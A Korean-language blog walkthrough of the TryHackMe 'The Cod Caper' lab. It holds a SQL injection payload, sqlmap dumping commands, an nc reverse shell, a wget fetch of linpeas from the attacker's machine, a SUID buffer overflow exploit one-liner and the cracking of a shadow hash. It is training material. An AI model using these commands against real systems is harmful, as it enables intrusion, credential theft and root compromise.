lhywk 님의 블로그

[TryHackMe] The Cod Caper 본문

TryHackMe

[TryHackMe] The Cod Caper

lhywk 2026. 2. 8. 14:34

nmap 스캔을 통해 타겟의 열린 포트와 실행 중인 서비스를 확인한다.

  • 포트 22 (SSH): OpenSSH 7.2p2 (Ubuntu)가 실행 중이다.
  • 포트 80 (HTTP): Apache 2.4.18 (Ubuntu)가 실행 중이다.

문제를 풀이한다.

nmap 스캔으로 수집한 정보(열린 포트 2개, HTTP 타이틀, 서비스 버전)를 작성한다.

웹 서버의 숨겨진 디렉터리 및 파일을 스캔하기 위해 big.txt를 사용한다.

다운로드한 big.txt 워드 리스트 파일을 현재 작업 디렉터리로 이동시킨다.

gobuster 도구와 big.txt 워드 리스트를 사용하여 웹 서버의 숨겨진 디렉터리 및 파일을 스캔한다.

스캔 결과: /administrator.php 경로를 발견했고 200(OK)로 해당 파일에 접근이 가능하다.

문제를 풀이한다.

gobuster로 발견한 /administrator.php 경로에 웹 브라우저로 접속한다. Administrator Login이라는 제목의 로그인 폼이 존재한다.

아무 문자열이나 입력하면 Try Again이라는 문구가 출력된다.

SQL 인젝션을 수행해보기 위해 ' or 1 -- 페이로드를 Username 필드에 입력한다.

이 구문은 WHERE username = '' OR 1 -- (항상 참)으로 해석되어 비밀번호 검증 로직을 주석 처리하고 강제로 로그인을 시도한다. 결과로 SQL syntax 오류가 발생했다. 이것으로 MySQL을 사용한다는 것을 확인했고 SQL 인젝션에 취약하다는 것을 알게 되었다.

SQL 인젝션 자동화 툴인 sqlmap을 사용한다.

sqlmap -u http://$IP/administrator.php --forms을 입력하여 지정된 URL에 접속하고 -forms 옵션으로 해당 페이지의 폼을 자동으로 찾으라고 지시한다. 결과로 username=과 password= 필드를 가진 POST 폼을 찾아낸다.

sqlmap의 --data 옵션을 사용하여 POST 요청 파라미터를 명시적으로 지정한다.

sqlmap -u http://$IP/administrator.php --data "username=&password=" --dbs로 서버에 존재하는 모든 데이터베이스의 목록을 가져오도록 지시한다.

sqlmap이 5개의 데이터베이스 목록을 덤핑 했다.

users 데이터베이스를 타겟으로 지정하여 그 안에 있는 테이블 목록을 가져온다.

sqlmap -u http://$IP/administrator.php --data "username=&password=" -D users --tables로 users 데이터베이스 내의 모든 테이블을 덤핑 한다.

users 데이터베이스에는 users라는 이름의 테이블이 하나만 존재한다.

sqlmap을 이용해 users 데이터베이스의 users 테이블에 있는 모든 데이터를 덤프 한다.

sqlmap ... -D users -T users --dump 명령어로 users 테이블의 모든 내용을 추출한다.

문제를 풀이한다.

sqlmap으로 획득한 관리자 자격증명(pingudad, secretpass)과, sqlmap이 탐지한 SQL 인젝션 취약점 유형의 수(3개)를 입력한다.

pingudad, secretpass을 실제 관리자 로그인 폼에 입력하여 로그인한다.

로그인에 성공하고 Run Command라는 기능을 발견한다.

ls 명령어를 입력하여 현재 디렉터리의 파일 목록을 확인한다.

Reverse Shell Generator 도구를 사용하여 공격자 PC의 IP와 리스닝 포트(7777)를 설정한 후 리버스 셸 페이로드를 생성한다.

nc mkfifo 리버스 셸 페이로드를 폼에 입력한다.

공격자 PC에서 대기 중이던 nc -lvnp 7777 리스너에 타겟 서버가 접속한다.

$ 프롬프트가 나타나고 타겟 서버의 셸을 획득한다.

Python pty 모듈을 이용해 대화형 셸로 업그레이드한다.

cat /etc/passwd 명령을 사용하여 사용자 계정 목록을 확인한다.

papa와 pingu라는 두 명의 사용자 계정을 발견한다.

find / -name pass* 2>/dev/null 명령어로 pass로 시작하는 파일을 검색한다. 에러 처리는 숨기는 걸로 처리한다.

결과로 var/hidden/pass 라는 수상한 파일을 발견한다.

find 명령어로 찾아낸 /var/hidden/pass 파일을 cat으로 열어본다.

파일 안에는 pinguapingu라는 문자열이 들어있다.

문제를 풀이한다.

ls로 본 파일 개수(3), /etc/passwd에서 찾은 계정 존재 여부, 그리고 /var/hidden/pass에서 훔친 비밀번호(pinguapingu)를 입력한다.

ssh pingu@$IP 명령어로 ssh 접속을 시도하고 얻은 비밀번호를 입력하여 SSH 접속에 성공한다.

pingu 계정에서 권한 상승을 하기 위해 LinPEAS를 파이썬 서버를 열어 다운로드를 할 수 있게 열어둔다.

pingu 셸에서 wget http://10.21.6.181:5555/linpeas.sh: wget을 사용해 공격자 PC의 Python 웹 서버에 접속하여 스크립트를 다운로드한다.

실행권한을 준 뒤 스크립트를 실행한다.

linpeas가 Files with Interesting Permissions 섹션에서 /opt/secret/root라는 SUID가 설정된 파일을 찾아낸다.

root 실행 권한을 가진 파일을 입력하여 문제를 풀이한다.

/opt/secret 디렉터리로 이동하여 file root 명령으로 이 파일이 SUID 비트가 설정된 32비트 ELF 실행 파일임을 확인한다.

문제에서 주어진 소스 코드를 보면 버퍼 오버플로우 취약점이 존재한다.

get_input() 함수는 32바이트(char buffer[32])의 공간을 선언하고 scanf("%s", buffer)를 통해 입력을 받는다. scanf는 입력값의 길이를 검사하지 않기 때문에 32바이트보다 긴 문자열을 입력하면 스택의 다른 데이터를 덮어쓸 수 있다.

공격자는 이 취약점을 이용해 get_input 함수가 종료된 뒤 돌아갈 반환 주소를 조작할 수 있다.

이 반환 주소를 코드에 존재하지만 호출되지는 않는 shell() 함수의 주소로 덮어쓰게 되면 SUID(root) 권한으로 실행된 프로그램이 shell() 함수를 실행시킨다. 이 함수는 권한을 UID 1000으로 설정한 뒤 /var/backups/shadow.bak 파일의 내용을 출력한다.

pwntools가 실행될 때마다 자동으로 업데이트를 확인하려는 동작을 막기 위해 ~/.pwntools-cache-2.7/update 파일에 never을 추가한다.

익스플로잇 페이로드를 만들기 위해 GNU 디버거를 사용하여 /opt/secret/root 바이너리를 분석한다.

  • 플러그인: pwndbg가 로드된다.

앞으로 해야 할 일은 버퍼(buffer[32])의 정확한 크기를 넘어 반환 주소를 덮어쓰기까지 필요한 정확한 오프셋을 계산한다.

소스 코드에서 봤던 shell() 함수의 정확한 메모리 주소를 찾는다.

gdb의 disass get_input 명령으로 get_input 함수의 어셈블리 코드를 확인한다.

스택에 40바이트 (0x28)를 할당하고 있다.

pwntools의 cyclic 50 기능으로 50바이트짜리 고유한 패턴(예: aaaabaaacaa...)을 생성하여 프로그램에 입력한다.

Segmentation fault가 뜨면서 오류가 발생한다. EIP 레지스터가 0x6161616c로 덮여 쓰여있다. laaa가 패턴의 몇 번째 바이트인지 확인하여 정확한 오프셋을 구해야 한다.

cyclic -l (lookup) 기능을 사용해 EIP를 덮어쓴 값(0x6161616c)이 패턴의 몇 번째 바이트인지 확인한다. 결과는 44이다.

gdb에서 disass shell 명령을 실행하여 호출하려는 shell() 함수의 메모리 주소를 찾는다. shell() 함수의 시작 주소는 0x080484cb이다.

버퍼 오버플로우 익스플로잇 페이로드를 완성하는 데 필요한 모든 정보를 획득한다.

오프셋: 44바이트

타겟 주소: 0x080484cb

python -c 'print "A"*44 + "\xcb\x84\x04\x08"' | ./root을 입력하여

"A"*44: EIP 직전까지 스택을 채우는 44바이트의 패딩을 채운 뒤

“\xcb\x84\x04\x08": shell() 함수의 시작 주소를 리틀 엔디언 방식으로 변환한다.

페이로드가 ./root 프로그램에 입력되었고 버퍼 오버플로우가 발생한다. 프로그램은 get_input 함수가 끝난 뒤 EIP에 덮어쓴 shell() 함수의 주소로 점프한다.

shell() 함수가 SUID(root) 권한으로 실행되어 소스 코드에 있던 대로 cat /var/backups/shadow.bak 명령을 실행한다. 화면에 root계정의 패스워드 해시가 포함된 백업 섀도 파일의 내용이 출력된다.

root 계정의 패스워드 해시를 복사해 vi 편집기를 사용하여 passwd_root라는 새 파일에 저장한다.

John the Ripper로 패스워드 크래킹을 시도해 love2fish라는 비밀번호를 획득한다.

크랙에 성공한 패스워드를 입력하여 문제를 풀이한다.

'TryHackMe' 카테고리의 다른 글

[TryHackMe] Retro  (0) 2026.02.08
[TryHackMe] OWASP Juice Shop  (0) 2026.02.08
[TryHackMe] ICE  (0) 2026.02.06
[TryHackMe] Blue  (0) 2026.02.06
[TryHackMe] RootMe  (0) 2026.02.05